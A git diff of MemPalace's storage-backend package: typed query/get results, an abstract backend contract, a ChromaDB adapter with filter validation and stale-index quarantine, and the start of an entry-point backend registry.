# chromadb telemetry: posthog capture() was broken in 0.6.x causing noisy stderr
# warnings ("capture() takes 1 positional argument but 3 were given"). In 1.x the
# posthog client is a no-op stub, so this is now harmless — kept as a guard in
# case future chromadb versions re-introduce real telemetry calls.
logging.getLogger("chromadb.telemetry.product.posthog").setLevel(logging.CRITICAL)
# NOTE: the previous block set ``ORT_DISABLE_COREML=1`` on macOS arm64 as a
@@ -25,4 +24,4 @@ logging.getLogger("chromadb.telemetry.product.posthog").setLevel(logging.CRITICA
# intact, so the real fix is upgrading chromadb to 1.5.4+, which #581
# proposes. See #397 for the history of this line.
__all__ = ["main", "__version__"]
__all__ = ["__version__"]
+61 -3
View File
@@ -1,6 +1,64 @@
"""Storage backend implementations for MemPalace."""
"""Storage backend implementations for MemPalace (RFC 001).
from .base import BaseCollection
Public surface:
* :class:`BaseCollection` — per-collection read/write contract.
* :class:`BaseBackend` — per-palace factory contract.
* :class:`PalaceRef` — value object identifying a palace for a backend.
* :class:`QueryResult` / :class:`GetResult` — typed read returns.
* Error classes: :class:`PalaceNotFoundError`, :class:`BackendClosedError`,
:class:`UnsupportedFilterError`, :class:`DimensionMismatchError`,
:class:`EmbedderIdentityMismatchError`.
* Registry: :func:`get_backend`, :func:`register`, :func:`available_backends`,
:func:`resolve_backend_for_palace`.
* In-tree Chroma default: :class:`ChromaBackend`, :class:`ChromaCollection`.
"""
from .base import (
BackendClosedError,
BackendError,
BaseBackend,
BaseCollection,
DimensionMismatchError,
EmbedderIdentityMismatchError,
GetResult,
HealthStatus,
PalaceNotFoundError,
PalaceRef,
QueryResult,
UnsupportedFilterError,
)
from .chroma import ChromaBackend, ChromaCollection
from .registry import (
available_backends,
get_backend,
get_backend_class,
register,
reset_backends,
resolve_backend_for_palace,
unregister,
)
__all__ = ["BaseCollection", "ChromaBackend", "ChromaCollection"]
__all__ = [
"BackendClosedError",
"BackendError",
"BaseBackend",
"BaseCollection",
"ChromaBackend",
"ChromaCollection",
"DimensionMismatchError",
"EmbedderIdentityMismatchError",
"GetResult",
"HealthStatus",
"PalaceNotFoundError",
"PalaceRef",
"QueryResult",
"UnsupportedFilterError",
"available_backends",
"get_backend",
"get_backend_class",
"register",
"reset_backends",
"resolve_backend_for_palace",
"unregister",
]
+349 -23
View File
@@ -1,44 +1,370 @@
"""Abstract collection interface for MemPalace storage backends."""
"""Storage backend contract for MemPalace (RFC 001).
This module defines the surface every storage backend must implement:
* ``BaseCollection`` — the per-collection read/write interface, kwargs-only.
* ``BaseBackend`` — the per-palace factory, addressed by ``PalaceRef``.
* ``QueryResult`` / ``GetResult`` — typed result dataclasses that replace the
Chroma dict shape as the canonical return type.
* Error classes + ``HealthStatus`` — uniform across backends.
This is the v1 cleanup from RFC 001 §10: full typed results, ``PalaceRef``,
registry-ready ABC. Embedder injection, maintenance hooks, and the full
conformance suite land in follow-up PRs.
"""
from abc import ABC, abstractmethod
from typing import Any, Dict, List, Optional
from dataclasses import dataclass
from typing import ClassVar, Optional
# ---------------------------------------------------------------------------
# Errors
# ---------------------------------------------------------------------------
class BackendError(Exception):
"""Base class for every storage-backend error raised by core."""
class PalaceNotFoundError(BackendError, FileNotFoundError):
"""Raised when ``get_collection(create=False)`` is called on a missing palace.
Subclass of ``FileNotFoundError`` so legacy callers that catch the latter
(pre-#413 seam) keep working unchanged.
"""
class BackendClosedError(BackendError):
"""Raised when a backend method is called after ``close()``."""
class UnsupportedFilterError(BackendError):
"""Raised when a where-clause uses an operator the backend does not implement.
Silent dropping of unknown operators is forbidden by spec (RFC 001 §1.4).
"""
class DimensionMismatchError(BackendError):
"""Raised when the embedding dimension on write does not match the collection."""
class EmbedderIdentityMismatchError(BackendError):
"""Raised when the stored embedder model name differs from the current one."""
# ---------------------------------------------------------------------------
# Value objects
# ---------------------------------------------------------------------------
@dataclass(frozen=True)
class PalaceRef:
"""A handle to a palace, consumed by backends.
``id`` is always present and is the key backends use to cache handles.
``local_path`` is populated for filesystem-rooted palaces.
``namespace`` is used by server-mode backends for tenant / prefix routing.
"""
id: str
local_path: Optional[str] = None
namespace: Optional[str] = None
@dataclass(frozen=True)
class HealthStatus:
ok: bool
detail: str = ""
@classmethod
def healthy(cls, detail: str = "") -> "HealthStatus":
return cls(ok=True, detail=detail)
@classmethod
def unhealthy(cls, detail: str) -> "HealthStatus":
return cls(ok=False, detail=detail)
_TYPED_RESULT_FIELDS = ("ids", "documents", "metadatas", "distances", "embeddings")
class _DictCompatMixin:
"""Transitional dict-protocol access for typed results.
RFC 001 §1.3 spec is attribute access (``result.ids``). The ``result["ids"]``
and ``result.get("ids")`` forms are retained as a migration shim for callers
that predate the typed interface and are scheduled for removal in a follow-
up cleanup. New code MUST use attribute access.
"""
def __getitem__(self, key: str):
if key in _TYPED_RESULT_FIELDS:
return getattr(self, key)
raise KeyError(key)
def get(self, key: str, default=None):
if key in _TYPED_RESULT_FIELDS:
val = getattr(self, key, default)
return default if val is None else val
return default
def __contains__(self, key: object) -> bool:
return key in _TYPED_RESULT_FIELDS and getattr(self, key, None) is not None
@dataclass(frozen=True)
class QueryResult(_DictCompatMixin):
"""Typed return from ``BaseCollection.query``.
Outer list dimension = number of query vectors / texts.
Inner list dimension = hits per query (may be zero).
Fields not in ``include=`` at the call site are populated with empty lists
of the correct outer shape (never ``None``), except ``embeddings`` which
is ``None`` when not requested.
"""
ids: list[list[str]]
documents: list[list[str]]
metadatas: list[list[dict]]
distances: list[list[float]]
embeddings: Optional[list[list[list[float]]]] = None
@classmethod
def empty(cls, num_queries: int = 1, embeddings_requested: bool = False) -> "QueryResult":
"""Construct an all-empty result preserving outer dimension.
When ``embeddings_requested`` is True, ``embeddings`` preserves the outer
query dimension with empty hit lists (matching the spec's rule that fields
requested via ``include=`` carry the outer shape even when empty). When
False, ``embeddings`` stays ``None`` to signal the field was not requested.
"""
empty_outer = [[] for _ in range(num_queries)]
return cls(
ids=[[] for _ in range(num_queries)],
documents=[[] for _ in range(num_queries)],
metadatas=[[] for _ in range(num_queries)],
distances=[[] for _ in range(num_queries)],
embeddings=empty_outer if embeddings_requested else None,
)
@dataclass(frozen=True)
class GetResult(_DictCompatMixin):
"""Typed return from ``BaseCollection.get``."""
ids: list[str]
documents: list[str]
metadatas: list[dict]
embeddings: Optional[list[list[float]]] = None
@classmethod
def empty(cls) -> "GetResult":
return cls(ids=[], documents=[], metadatas=[], embeddings=None)
# ---------------------------------------------------------------------------
# Collection contract
# ---------------------------------------------------------------------------
class BaseCollection(ABC):
"""Smallest collection contract the rest of MemPalace relies on."""
"""Per-collection read/write surface every backend must implement."""
@abstractmethod
def add(
self,
*,
documents: List[str],
ids: List[str],
metadatas: Optional[List[Dict[str, Any]]] = None,
) -> None:
raise NotImplementedError
documents: list[str],
ids: list[str],
metadatas: Optional[list[dict]] = None,
embeddings: Optional[list[list[float]]] = None,
) -> None: ...
@abstractmethod
def upsert(
self,
*,
documents: List[str],
ids: List[str],
metadatas: Optional[List[Dict[str, Any]]] = None,
documents: list[str],
ids: list[str],
metadatas: Optional[list[dict]] = None,
embeddings: Optional[list[list[float]]] = None,
) -> None: ...
@abstractmethod
def query(
self,
*,
query_texts: Optional[list[str]] = None,
query_embeddings: Optional[list[list[float]]] = None,
n_results: int = 10,
where: Optional[dict] = None,
where_document: Optional[dict] = None,
include: Optional[list[str]] = None,
) -> QueryResult: ...
@abstractmethod
def get(
self,
*,
ids: Optional[list[str]] = None,
where: Optional[dict] = None,
where_document: Optional[dict] = None,
limit: Optional[int] = None,
offset: Optional[int] = None,
include: Optional[list[str]] = None,
) -> GetResult: ...
@abstractmethod
def delete(
self,
*,
ids: Optional[list[str]] = None,
where: Optional[dict] = None,
) -> None: ...
@abstractmethod
def count(self) -> int: ...
# ------------------------------------------------------------------
# Optional methods with ABC defaults (spec §1.2)
# ------------------------------------------------------------------
def estimated_count(self) -> int:
return self.count()
def close(self) -> None:
return None
def health(self) -> HealthStatus:
return HealthStatus.healthy()
def update(
self,
*,
ids: list[str],
documents: Optional[list[str]] = None,
metadatas: Optional[list[dict]] = None,
embeddings: Optional[list[list[float]]] = None,
) -> None:
raise NotImplementedError
"""Default non-atomic update: get + merge + upsert.
Backends advertising ``supports_update`` MUST override with an atomic
single-round-trip implementation.
"""
if documents is None and metadatas is None and embeddings is None:
raise ValueError("update requires at least one of documents, metadatas, embeddings")
n = len(ids)
for label, value in (
("documents", documents),
("metadatas", metadatas),
("embeddings", embeddings),
):
if value is not None and len(value) != n:
raise ValueError(f"{label} length {len(value)} does not match ids length {n}")
existing = self.get(ids=ids, include=["documents", "metadatas"])
by_id = {
rid: (existing.documents[i], existing.metadatas[i])
for i, rid in enumerate(existing.ids)
}
merged_docs: list[str] = []
merged_metas: list[dict] = []
for i, rid in enumerate(ids):
prev_doc, prev_meta = by_id.get(rid, ("", {}))
merged_docs.append(documents[i] if documents is not None else prev_doc)
new_meta = dict(prev_meta or {})
if metadatas is not None:
new_meta.update(metadatas[i] or {})
merged_metas.append(new_meta)
self.upsert(
documents=merged_docs,
ids=list(ids),
metadatas=merged_metas,
embeddings=embeddings,
)
# ---------------------------------------------------------------------------
# Backend contract
# ---------------------------------------------------------------------------
class BaseBackend(ABC):
"""Long-lived factory serving many palaces (RFC 001 §2).
Instances are lightweight on construction — no I/O, no network. All
connection work is deferred to ``get_collection``. Instances are thread-
safe for concurrent ``get_collection`` calls across different palaces.
"""
name: ClassVar[str]
spec_version: ClassVar[str] = "1.0"
capabilities: ClassVar[frozenset[str]] = frozenset()
@abstractmethod
def query(self, **kwargs: Any) -> Dict[str, Any]:
raise NotImplementedError
def get_collection(
self,
*,
palace: PalaceRef,
collection_name: str,
create: bool = False,
options: Optional[dict] = None,
) -> BaseCollection: ...
@abstractmethod
def get(self, **kwargs: Any) -> Dict[str, Any]:
raise NotImplementedError
def close_palace(self, palace: PalaceRef) -> None:
"""Evict cached handles for a single palace. Default: no-op."""
return None
@abstractmethod
def delete(self, **kwargs: Any) -> None:
raise NotImplementedError
def close(self) -> None:
"""Shut down the entire backend. Default: no-op."""
return None
@abstractmethod
def count(self) -> int:
raise NotImplementedError
def health(self, palace: Optional[PalaceRef] = None) -> HealthStatus:
return HealthStatus.healthy()
# Optional detection hint used by selection priority (RFC 001 §3.3 (4)):
@classmethod
def detect(cls, path: str) -> bool: # pragma: no cover - default hook
return False
# ---------------------------------------------------------------------------
# Adapter utilities
# ---------------------------------------------------------------------------
# Keys the Chroma ``include=`` parameter accepts.
_VALID_INCLUDE_KEYS = frozenset({"documents", "metadatas", "distances", "embeddings"})
@dataclass
class _IncludeSpec:
"""Resolve an ``include=`` parameter with spec-mandated defaults."""
documents: bool = True
metadatas: bool = True
distances: bool = True # only meaningful for query
embeddings: bool = False
@classmethod
def resolve(
cls, include: Optional[list[str]], *, default_distances: bool = True
) -> "_IncludeSpec":
if include is None:
return cls(
documents=True,
metadatas=True,
distances=default_distances,
embeddings=False,
)
keys = {k for k in include if k in _VALID_INCLUDE_KEYS}
return cls(
documents="documents" in keys,
metadatas="metadatas" in keys,
distances="distances" in keys,
embeddings="embeddings" in keys,
)
+572 -20
View File
@@ -1,17 +1,137 @@
"""ChromaDB-backed MemPalace collection adapter."""
"""ChromaDB-backed MemPalace storage backend (RFC 001 reference implementation)."""
import datetime as _dt
import logging
import os
import sqlite3
from typing import Any, Optional
import chromadb
from .base import BaseCollection
from .base import (
BaseBackend,
BaseCollection,
GetResult,
HealthStatus,
PalaceNotFoundError,
PalaceRef,
QueryResult,
UnsupportedFilterError,
_IncludeSpec,
)
logger = logging.getLogger(__name__)
def _fix_blob_seq_ids(palace_path: str):
_REQUIRED_OPERATORS = frozenset({"$eq", "$ne", "$in", "$nin", "$and", "$or", "$contains"})
_OPTIONAL_OPERATORS = frozenset({"$gt", "$gte", "$lt", "$lte"})
_SUPPORTED_OPERATORS = _REQUIRED_OPERATORS | _OPTIONAL_OPERATORS
def _validate_where(where: Optional[dict]) -> None:
"""Scan a where-clause for unknown operators and raise ``UnsupportedFilterError``.
Spec (RFC 001 §1.4): silent dropping of unknown operators is forbidden.
"""
if not where:
return
stack = [where]
while stack:
node = stack.pop()
if not isinstance(node, dict):
continue
for k, v in node.items():
if k.startswith("$") and k not in _SUPPORTED_OPERATORS:
raise UnsupportedFilterError(f"operator {k!r} not supported by chroma backend")
if isinstance(v, dict):
stack.append(v)
elif isinstance(v, list):
stack.extend(x for x in v if isinstance(x, dict))
def quarantine_stale_hnsw(palace_path: str, stale_seconds: float = 3600.0) -> list[str]:
"""Rename HNSW segment dirs whose files are stale vs. chroma.sqlite3.
When a ChromaDB 1.5.x PersistentClient opens a palace whose on-disk
HNSW segment is significantly older than ``chroma.sqlite3``, the Rust
graph-walk can dereference dangling neighbor pointers for entries that
exist in the metadata segment but not in the HNSW index, and segfault
in a background thread on the next ``count()`` or ``query(...)`` call.
This is the same failure mode reported at #823 (semantic search stale
after ``add_drawer``), observed at neo-cortex-mcp#2 (SIGSEGV on
``count()`` with chromadb 1.5.5), and acknowledged as by-design at
chroma-core/chroma#2594. On one fork palace (135K drawers), the drift
caused a 65–85% crash rate on fresh-process opens; fresh-process
crash rate dropped to 0% after the segment dir was renamed out of the
way and ChromaDB rebuilt lazily.
Heuristic: if ``chroma.sqlite3`` is more than ``stale_seconds`` newer
than the segment's ``data_level0.bin``, the segment is considered
suspect and renamed to ``<uuid>.drift-<timestamp>``. ChromaDB reopens
cleanly without it and writes fresh index files on next use. The
original directory is renamed, not deleted, so recovery remains
possible if the heuristic misfires.
The default threshold (1h) is deliberately conservative — ChromaDB's
HNSW flush cadence means legitimate drift is normally on the order of
seconds to minutes. A segment that is more than an hour out of date is
almost certainly in a "crashed mid-write" state.
Args:
palace_path: path to the palace directory containing ``chroma.sqlite3``
stale_seconds: minimum mtime gap to treat a segment as stale
Returns:
List of paths that were quarantined (empty if nothing drifted).
"""
db_path = os.path.join(palace_path, "chroma.sqlite3")
if not os.path.isfile(db_path):
return []
try:
sqlite_mtime = os.path.getmtime(db_path)
except OSError:
return []
moved: list[str] = []
try:
entries = os.listdir(palace_path)
except OSError:
return []
for name in entries:
if "-" not in name or name.startswith(".") or ".drift-" in name:
continue
seg_dir = os.path.join(palace_path, name)
if not os.path.isdir(seg_dir):
continue
hnsw_bin = os.path.join(seg_dir, "data_level0.bin")
if not os.path.isfile(hnsw_bin):
continue
try:
hnsw_mtime = os.path.getmtime(hnsw_bin)
except OSError:
continue
if sqlite_mtime - hnsw_mtime < stale_seconds:
continue
stamp = _dt.datetime.now().strftime("%Y%m%d-%H%M%S")
target = f"{seg_dir}.drift-{stamp}"
try:
os.rename(seg_dir, target)
moved.append(target)
logger.warning(
"Quarantined stale HNSW segment %s "
"(sqlite %.0fs newer than HNSW); renamed to %s",
seg_dir,
sqlite_mtime - hnsw_mtime,
target,
)
except OSError:
logger.exception("Failed to quarantine stale HNSW segment %s", seg_dir)
return moved
def _fix_blob_seq_ids(palace_path: str) -> None:
"""Fix ChromaDB 0.6.x -> 1.5.x migration bug: BLOB seq_ids -> INTEGER.
ChromaDB 0.6.x stored seq_id as big-endian 8-byte BLOBs. ChromaDB 1.5.x
@@ -43,37 +163,363 @@ def _fix_blob_seq_ids(palace_path: str):
logger.exception("Could not fix BLOB seq_ids in %s", db_path)
# ---------------------------------------------------------------------------
# Collection adapter
# ---------------------------------------------------------------------------
def _as_list(v: Any) -> list:
"""Coerce possibly-None scalar-or-list into a list (defensive for chroma nulls)."""
if v is None:
return []
if isinstance(v, list):
return v
return [v]
class ChromaCollection(BaseCollection):
"""Thin adapter over a ChromaDB collection."""
"""Thin adapter translating ChromaDB dict returns into typed results."""
def __init__(self, collection):
self._collection = collection
def add(self, *, documents, ids, metadatas=None):
self._collection.add(documents=documents, ids=ids, metadatas=metadatas)
# ------------------------------------------------------------------
# Writes
# ------------------------------------------------------------------
def upsert(self, *, documents, ids, metadatas=None):
self._collection.upsert(documents=documents, ids=ids, metadatas=metadatas)
def add(self, *, documents, ids, metadatas=None, embeddings=None):
kwargs: dict[str, Any] = {"documents": documents, "ids": ids}
if metadatas is not None:
kwargs["metadatas"] = metadatas
if embeddings is not None:
kwargs["embeddings"] = embeddings
self._collection.add(**kwargs)
def query(self, **kwargs):
return self._collection.query(**kwargs)
def upsert(self, *, documents, ids, metadatas=None, embeddings=None):
kwargs: dict[str, Any] = {"documents": documents, "ids": ids}
if metadatas is not None:
kwargs["metadatas"] = metadatas
if embeddings is not None:
kwargs["embeddings"] = embeddings
self._collection.upsert(**kwargs)
def get(self, **kwargs):
return self._collection.get(**kwargs)
def update(
self,
*,
ids,
documents=None,
metadatas=None,
embeddings=None,
):
if documents is None and metadatas is None and embeddings is None:
raise ValueError("update requires at least one of documents, metadatas, embeddings")
kwargs: dict[str, Any] = {"ids": ids}
if documents is not None:
kwargs["documents"] = documents
if metadatas is not None:
kwargs["metadatas"] = metadatas
if embeddings is not None:
kwargs["embeddings"] = embeddings
self._collection.update(**kwargs)
def delete(self, **kwargs):
# ------------------------------------------------------------------
# Reads
# ------------------------------------------------------------------
def query(
self,
*,
query_texts=None,
query_embeddings=None,
n_results=10,
where=None,
where_document=None,
include=None,
) -> QueryResult:
_validate_where(where)
_validate_where(where_document)
if (query_texts is None) == (query_embeddings is None):
raise ValueError("query requires exactly one of query_texts or query_embeddings")
chosen = query_texts if query_texts is not None else query_embeddings
if not chosen:
raise ValueError("query input must be a non-empty list")
spec = _IncludeSpec.resolve(include, default_distances=True)
chroma_include: list[str] = []
if spec.documents:
chroma_include.append("documents")
if spec.metadatas:
chroma_include.append("metadatas")
if spec.distances:
chroma_include.append("distances")
if spec.embeddings:
chroma_include.append("embeddings")
kwargs: dict[str, Any] = {
"n_results": n_results,
"include": chroma_include,
}
if query_texts is not None:
kwargs["query_texts"] = query_texts
if query_embeddings is not None:
kwargs["query_embeddings"] = query_embeddings
if where is not None:
kwargs["where"] = where
if where_document is not None:
kwargs["where_document"] = where_document
raw = self._collection.query(**kwargs)
num_queries = (
len(query_texts)
if query_texts is not None
else (len(query_embeddings) if query_embeddings is not None else 1)
)
ids = raw.get("ids") or []
if not ids:
return QueryResult.empty(
num_queries=num_queries,
embeddings_requested=spec.embeddings,
)
documents = raw.get("documents") or [[] for _ in ids]
metadatas = raw.get("metadatas") or [[] for _ in ids]
distances = raw.get("distances") or [[] for _ in ids]
embeddings_raw = raw.get("embeddings") if spec.embeddings else None
def _none_list_to_empty(outer):
return [(inner or []) for inner in outer]
return QueryResult(
ids=_none_list_to_empty(ids),
documents=_none_list_to_empty(documents),
metadatas=_none_list_to_empty(metadatas),
distances=_none_list_to_empty(distances),
embeddings=(
[list(inner) for inner in embeddings_raw]
if spec.embeddings and embeddings_raw is not None
else None
),
)
def get(
self,
*,
ids=None,
where=None,
where_document=None,
limit=None,
offset=None,
include=None,
) -> GetResult:
_validate_where(where)
_validate_where(where_document)
spec = _IncludeSpec.resolve(include, default_distances=False)
chroma_include: list[str] = []
if spec.documents:
chroma_include.append("documents")
if spec.metadatas:
chroma_include.append("metadatas")
if spec.embeddings:
chroma_include.append("embeddings")
kwargs: dict[str, Any] = {"include": chroma_include}
if ids is not None:
kwargs["ids"] = ids
if where is not None:
kwargs["where"] = where
if where_document is not None:
kwargs["where_document"] = where_document
if limit is not None:
kwargs["limit"] = limit
if offset is not None:
kwargs["offset"] = offset
raw = self._collection.get(**kwargs)
out_ids = list(raw.get("ids") or [])
out_docs = list(raw.get("documents") or []) if spec.documents else []
out_metas = list(raw.get("metadatas") or []) if spec.metadatas else []
out_embeds = raw.get("embeddings") if spec.embeddings else None
# Pad doc/meta lists to match ids so downstream zipping is safe.
if spec.documents and len(out_docs) < len(out_ids):
out_docs = out_docs + [""] * (len(out_ids) - len(out_docs))
if spec.metadatas and len(out_metas) < len(out_ids):
out_metas = out_metas + [{}] * (len(out_ids) - len(out_metas))
return GetResult(
ids=out_ids,
documents=out_docs,
metadatas=out_metas,
embeddings=[list(v) for v in out_embeds] if out_embeds is not None else None,
)
def delete(self, *, ids=None, where=None):
_validate_where(where)
kwargs: dict[str, Any] = {}
if ids is not None:
kwargs["ids"] = ids
if where is not None:
kwargs["where"] = where
self._collection.delete(**kwargs)
def count(self):
return self._collection.count()
class ChromaBackend:
"""Factory for MemPalace's default ChromaDB backend."""
# ---------------------------------------------------------------------------
# Backend
# ---------------------------------------------------------------------------
class ChromaBackend(BaseBackend):
"""MemPalace's default ChromaDB backend.
Maintains two caches:
* ``self._clients`` — ``palace_path -> PersistentClient`` for callers
using the ``PalaceRef`` / :meth:`get_collection` path.
* An inode+mtime freshness check absorbed from ``mcp_server._get_client``
(merged via #757) ensuring a palace rebuild on disk is detected on the
next :meth:`get_collection` call.
"""
name = "chroma"
capabilities = frozenset(
{
"supports_embeddings_in",
"supports_embeddings_passthrough",
"supports_embeddings_out",
"supports_metadata_filters",
"supports_contains_fast",
"local_mode",
}
)
def __init__(self):
# palace_path -> PersistentClient
self._clients: dict[str, Any] = {}
# palace_path -> (inode, mtime) of chroma.sqlite3 at cache time.
self._freshness: dict[str, tuple[int, float]] = {}
self._closed = False
# ------------------------------------------------------------------
# Internal helpers
# ------------------------------------------------------------------
@staticmethod
def _db_stat(palace_path: str) -> tuple[int, float]:
"""Return ``(inode, mtime)`` of ``chroma.sqlite3`` or ``(0, 0.0)`` if absent."""
db_path = os.path.join(palace_path, "chroma.sqlite3")
try:
st = os.stat(db_path)
return (st.st_ino, st.st_mtime)
except OSError:
return (0, 0.0)
def _client(self, palace_path: str):
"""Return a cached ``PersistentClient``, rebuilding on inode/mtime change.
Handles the palace-rebuild case (repair/nuke/purge) by invalidating the
cache when ``chroma.sqlite3`` changes on disk. Mirrors the semantics of
``mcp_server._get_client`` (merged via #757):
* DB file missing while we hold a cached client → drop the cache so we
do not serve stale data after a rebuild that has not yet re-created
the DB.
* Transition 0 → nonzero stat (DB created after cache) counts as a
change, so the cached client is replaced with one that sees the DB.
* FAT/exFAT filesystems return inode 0; we never fire inode comparisons
when either side is 0 (safe fallback) but still honor mtime.
* Mtime change uses an epsilon (0.01 s) to tolerate FS timestamp
granularity without thrashing.
"""
if self._closed:
from .base import BackendClosedError # late import avoids cycles at module load
raise BackendClosedError("ChromaBackend has been closed")
cached = self._clients.get(palace_path)
cached_inode, cached_mtime = self._freshness.get(palace_path, (0, 0.0))
current_inode, current_mtime = self._db_stat(palace_path)
db_path = os.path.join(palace_path, "chroma.sqlite3")
# DB was present when cache was built but is now missing → invalidate.
if cached is not None and not os.path.isfile(db_path):
self._clients.pop(palace_path, None)
self._freshness.pop(palace_path, None)
cached = None
cached_inode, cached_mtime = 0, 0.0
inode_changed = current_inode != 0 and cached_inode != 0 and current_inode != cached_inode
# Transition from no-stat (0.0) to a real stat counts as a change so we
# pick up a DB that was created after the cache was built.
mtime_appeared = cached_mtime == 0.0 and current_mtime != 0.0
mtime_changed = (
current_mtime != 0.0
and cached_mtime != 0.0
and abs(current_mtime - cached_mtime) > 0.01
)
if cached is None or inode_changed or mtime_changed or mtime_appeared:
_fix_blob_seq_ids(palace_path)
cached = chromadb.PersistentClient(path=palace_path)
self._clients[palace_path] = cached
# Re-stat after the client constructor runs: chromadb creates
# chroma.sqlite3 lazily, so the stat captured before the call
# may still be (0, 0.0) on first open.
self._freshness[palace_path] = self._db_stat(palace_path)
return cached
# ------------------------------------------------------------------
# Public static helpers (legacy; prefer :meth:`get_collection`)
# ------------------------------------------------------------------
@staticmethod
def make_client(palace_path: str):
"""Create a fresh ``PersistentClient`` (fixes BLOB seq_ids first).
Deprecated-ish: exposed for legacy long-lived callers that manage their
own client cache. New code should obtain a collection through
:meth:`get_collection` which manages caching internally.
"""
_fix_blob_seq_ids(palace_path)
return chromadb.PersistentClient(path=palace_path)
@staticmethod
def backend_version() -> str:
"""Return the installed chromadb package version string."""
return chromadb.__version__
# ------------------------------------------------------------------
# BaseBackend surface
# ------------------------------------------------------------------
def get_collection(
self,
*args,
**kwargs,
) -> ChromaCollection:
"""Obtain a collection for a palace.
Supports two calling conventions during the RFC 001 transition:
* New (preferred): ``get_collection(palace=PalaceRef, collection_name=...,
create=False, options=None)``.
* Legacy: ``get_collection(palace_path, collection_name, create=False)``
— still used by callers not yet migrated.
"""
palace_ref, collection_name, create, options = _normalize_get_collection_args(args, kwargs)
palace_path = palace_ref.local_path
if palace_path is None:
raise PalaceNotFoundError("ChromaBackend requires PalaceRef.local_path")
def get_collection(self, palace_path: str, collection_name: str, create: bool = False):
if not create and not os.path.isdir(palace_path):
raise FileNotFoundError(palace_path)
raise PalaceNotFoundError(palace_path)
if create:
os.makedirs(palace_path, exist_ok=True)
@@ -82,10 +528,116 @@ class ChromaBackend:
except (OSError, NotImplementedError):
pass
_fix_blob_seq_ids(palace_path)
client = chromadb.PersistentClient(path=palace_path)
client = self._client(palace_path)
hnsw_space = "cosine"
if options and isinstance(options, dict):
hnsw_space = options.get("hnsw_space", hnsw_space)
if create:
collection = client.get_or_create_collection(collection_name)
collection = client.get_or_create_collection(
collection_name, metadata={"hnsw:space": hnsw_space}
)
else:
collection = client.get_collection(collection_name)
return ChromaCollection(collection)
def close_palace(self, palace) -> None:
"""Drop cached handles for ``palace``. Accepts ``PalaceRef`` or legacy path str."""
path = palace.local_path if isinstance(palace, PalaceRef) else palace
if path is None:
return
self._clients.pop(path, None)
self._freshness.pop(path, None)
def close(self) -> None:
self._clients.clear()
self._freshness.clear()
self._closed = True
def health(self, palace: Optional[PalaceRef] = None) -> HealthStatus:
if self._closed:
return HealthStatus.unhealthy("backend closed")
return HealthStatus.healthy()
@classmethod
def detect(cls, path: str) -> bool:
return os.path.isfile(os.path.join(path, "chroma.sqlite3"))
# ------------------------------------------------------------------
# Legacy (pre-RFC 001) surface — retained while callers migrate.
# ------------------------------------------------------------------
def get_or_create_collection(self, palace_path: str, collection_name: str) -> ChromaCollection:
"""Legacy shim for ``get_collection(..., create=True)`` by path string."""
return self.get_collection(palace_path, collection_name, create=True)
def delete_collection(self, palace_path: str, collection_name: str) -> None:
"""Delete ``collection_name`` from the palace at ``palace_path``."""
self._client(palace_path).delete_collection(collection_name)
def create_collection(
self, palace_path: str, collection_name: str, hnsw_space: str = "cosine"
) -> ChromaCollection:
"""Create (not get-or-create) ``collection_name`` with the given HNSW space."""
collection = self._client(palace_path).create_collection(
collection_name, metadata={"hnsw:space": hnsw_space}
)
return ChromaCollection(collection)
def _normalize_get_collection_args(args, kwargs):
"""Unify legacy positional ``(palace_path, collection_name, create)`` calls
with the new kwargs-only ``(palace=PalaceRef, collection_name=..., create=...)``.
Returns ``(PalaceRef, collection_name, create, options)``.
"""
# New-style: palace= kwarg with a PalaceRef (spec path).
if "palace" in kwargs:
palace_ref = kwargs.pop("palace")
if not isinstance(palace_ref, PalaceRef):
raise TypeError("palace= must be a PalaceRef instance")
collection_name = kwargs.pop("collection_name")
create = kwargs.pop("create", False)
options = kwargs.pop("options", None)
if kwargs:
raise TypeError(f"unexpected kwargs: {sorted(kwargs)}")
if args:
raise TypeError("positional args not allowed with palace= kwarg")
return palace_ref, collection_name, create, options
# Legacy: first positional is a path string.
if args:
palace_path = args[0]
rest = list(args[1:])
collection_name = kwargs.pop("collection_name", None) or (rest.pop(0) if rest else None)
if collection_name is None:
raise TypeError("collection_name is required")
create = kwargs.pop("create", False)
if rest:
create = rest.pop(0)
if rest:
raise TypeError(f"unexpected positional args: {rest!r}")
if kwargs:
raise TypeError(f"unexpected kwargs: {sorted(kwargs)}")
return (
PalaceRef(id=palace_path, local_path=palace_path),
collection_name,
bool(create),
None,
)
# Legacy kwargs-only (palace_path=..., collection_name=..., create=...)
if "palace_path" in kwargs:
palace_path = kwargs.pop("palace_path")
collection_name = kwargs.pop("collection_name")
create = kwargs.pop("create", False)
if kwargs:
raise TypeError(f"unexpected kwargs: {sorted(kwargs)}")
return (
PalaceRef(id=palace_path, local_path=palace_path),
collection_name,
bool(create),
None,
)
raise TypeError("get_collection requires palace= or a positional palace_path")
+189
View File
@@ -0,0 +1,189 @@
"""Backend registry + entry-point discovery (RFC 001 §3).
Third-party backends ship as installable packages that declare a
``mempalace.backends`` entry point::
# pyproject.toml of mempalace-postgres
[project.entry-points."mempalace.backends"]
postgres = "mempalace_postgres:PostgresBackend"
MemPalace discovers them at process start. In-tree tests and local development
can register manually via :func:`register`. Explicit registration wins on
name conflict (matches RFC 001 §3.2).
"""
from __future__ import annotations
import logging
from importlib import metadata
from threading import Lock
from typing import Optional, Type
from .base import BaseBackend
logger = logging.getLogger(__name__)
_ENTRY_POINT_GROUP = "mempalace.backends"
_registry: dict[str, Type[BaseBackend]] = {}
_instances: dict[str, BaseBackend] = {}
_explicit: set[str] = set()
_discovered = False
_lock = Lock()
def register(name: str, backend_cls: Type[BaseBackend]) -> None:
"""Register ``backend_cls`` under ``name``.
Explicit registration wins over entry-point discovery on conflict
(RFC 001 §3.2).
"""
with _lock:
_registry[name] = backend_cls
_explicit.add(name)
# Invalidate any cached instance so the new class is used on next get.
_instances.pop(name, None)
def unregister(name: str) -> None:
"""Remove a backend registration (primarily for tests)."""
with _lock:
_registry.pop(name, None)
_explicit.discard(name)
_instances.pop(name, None)
def _discover_entry_points() -> None:
"""Load entry-point-declared backends once per process."""
global _discovered
if _discovered:
return
with _lock:
if _discovered:
return
try:
eps = metadata.entry_points()
# Py ≥ 3.10 returns an EntryPoints object; older versions returned a dict.
group = (
eps.select(group=_ENTRY_POINT_GROUP)
if hasattr(eps, "select")
else eps.get(_ENTRY_POINT_GROUP, [])
)
except Exception:
logger.exception("entry-point discovery for %s failed", _ENTRY_POINT_GROUP)
group = []
for ep in group:
if ep.name in _explicit:
continue # explicit registration wins
try:
cls = ep.load()
except Exception:
